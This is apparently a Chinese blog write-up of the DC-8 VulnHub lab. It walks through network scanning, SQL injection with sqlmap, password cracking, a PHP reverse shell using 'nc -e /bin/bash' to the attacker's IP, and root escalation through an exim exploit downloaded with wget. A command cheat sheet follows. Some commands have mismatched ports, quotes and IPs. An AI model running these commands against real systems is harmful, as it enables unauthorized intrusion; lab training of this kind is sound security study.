DC-8靶场

发布时间 2023-12-12 23:46:19作者: abuasfd

准备:

目标:获得root权限

攻击虚拟机:kali  

DC-8靶场:DC: 8 ~ VulnHub

 虚拟机:IP地址 192.168.88.130

 靶场IP地址:192.168.88.129

 

第一步:信息收集

通过arp-scan -l 查看本网段的虚拟机

也可以通过nmap 或者 netdiscover -r 192.168.88.0/24

netdiscover -r 192.168.88.0/24

 

 由图查看到DC-8的IP地址:192.168.88.129

端口扫描:

nmap -sV -p- 192.168.88.129

//-sV:扫描系统版本号和程序版本,-p-是:全端口口扫描

 然后打开网站

 

 然后进行目录扫描查看是否有后台

dirb http://192.168.88.129目录扫描,发现有后台

  

进入后台管理登录,然后?nid=1'发现,网站直接报错,有可能存在sql注入漏洞

 

SQL注入

爆破一下数据库:

sqlmap -u "http://192.168.88.129?nid=1" --dbs   
或者Sqlmap -u http://192.168.88.129?nid=1” --current-db
##--dbs:查全部数据库, --current-db: 网站当前数据库

发现有d7db,information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取。

而d7db可能是存放关键信息。

爆破一下当前数据库的表

Sqlmap -u :http://192.168.88.129?nid=1” -tables -D “d7db”

 发现关键表users

接着爆破users的字段

sqlmap -u http://192.168.88.129/?nid=2 --columns -T"users" -D"d7db"

 发现name,pass这个字段,可能存放着账号和密码,然后查看users表下的字段:

Sqlmap -u “http://192.168.88.129?nid=1” --dump -C “uid,name,pass” -T “users” -D “d7db”

 发现用户名和密码。然后复制保存,尝试用john解密

 破解出来的密码是turtle(注意:如果出现Using default input encoding:UTF-8,说明这个hash之前被破解过。使用john --format=crypt命令可以还原明文。)

然后去登录网站后台密码和账号成功进入

 然后在平台是查找看看,是否有上传文件或者代码的地方

找到地方可以上传php,将反弹shell的命令

 

<p>shell</p>
<?php
system("nc -e /bin/bash 192.168.88.128 4444");
?>z

 这里的ip地址是本机的,用来监听

 拿到shell,然后使用python代码优化终端

 python -c 'import pty;pty.spawn("/bin/bash")'r

然后查看是否存在suid提权

   提示:suid是给命令赋予root用户的权限,权限在命令上

find / -user root -perm -u=s 2>/dev/null

 查询结果发现exim4具有root权限

然后查看exim4的版本

exim4 --version

 发现是version 4.89 版本的

然后在漏洞库里面寻找可利用的漏洞

searchsploit exim (因为4.89并没有漏洞利用的方法,然后扩大一下范围直接找exim的漏洞)

 

然后本地提权,查找46996.sh

searchsploit -p linux/local/46996.sh

 然后复制保存到桌面

cp /usr/share/exploitdb/exploits/linux/local/46996.sh  46996.sh r 

然后开启临时的http服务

python3 -m http.server 8888

 

然后在shell里使用wget下载靶场的tmp中

Wget http://192.168.88.128:8844/46996.sh  #这里的ip地址是本机的

 上传成功后,然后给它加权

chmod 777 46996.sh

./46996.sh -m netcat 

 

 然后提权成功,有时候可能就不行,得多试几次。

 

总结:

信息收集:

 

目录扫描:

 

dirb 网站地址

netdiscover -r ip地址

nmap -sV -p- ip地址

arp-scan -l

searchsploit

 

sql注入:

爆库:sqlmap -u "http://192.168.88.129?nid=1" --dbs

查看当前数据库:

sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 --dbs   //

Sqlmap -u http://192.168.128.129?nid=1” --current-db

查看数据库中的表:

sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db --tables

Sqlmap -u :http://192.168.88.129?nid=1” -tables -D d7db”  #d7db指的是数据库

查看数据库表的字段:

sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db -T users --columns  

Sqlmap -u http://192.168.88.129?nid=1” --columns -D d7db” -T users#d7db 指数据库, users指数据表

查看数据表的几个字段:

sqlmap -u http://192.168.88.129?nid=1” --risk=3 --level=5 -D d7db -Tusers -C name,pass --dump

Sqlmap -u http://192.168.88.129?nid=1” --dump -C uid,name,pass” -T users” -D d7db

 

 

密码爆破

密码爆破:john  文件名

 

反弹shell

查找网站是否可以上传php文件的,然后写入代码

<p>shell</p>

<?php

system("nc -e /bin/bash 192.168.88.128 4455");

?>

作用:提权用户,IP是本机ip 和监听的端口,得到shell

优化shellpython -c 'import pty;pty.spawn("/bin/bash")' 或者python3 -c 'import pty;pty.spawn("/bin/bash")'

 

 

 

监听:

nc -lvp 5566  #5566指端口。

 

提权:

find / -user root -perm -u=s 2>/dev/null

查找版本:exim4 --version

 

查找漏洞利用:

searchsploit exim

查找漏洞方法的绝对路径:searchsploit -p linux/local/46996.sh  #linux/local/46996.sh path

复制保存在本机上:cp /usr/share/exploitdb/exploits/linux/local/46996.sh  46996.sh  #cp 后面跟的是绝对路径 保存为46996.sh文件

 

上传文件:

python3 -m http.server 8888  端口号为8888

交互shell下载本机里面的文件 :wget http://192.168.88.129:8888/46996.sh #ip对应的是本机的IP地址,和端口,后面跟文件

 

提权:

./文件 -m netcat

或者给文件加777权限,然后运行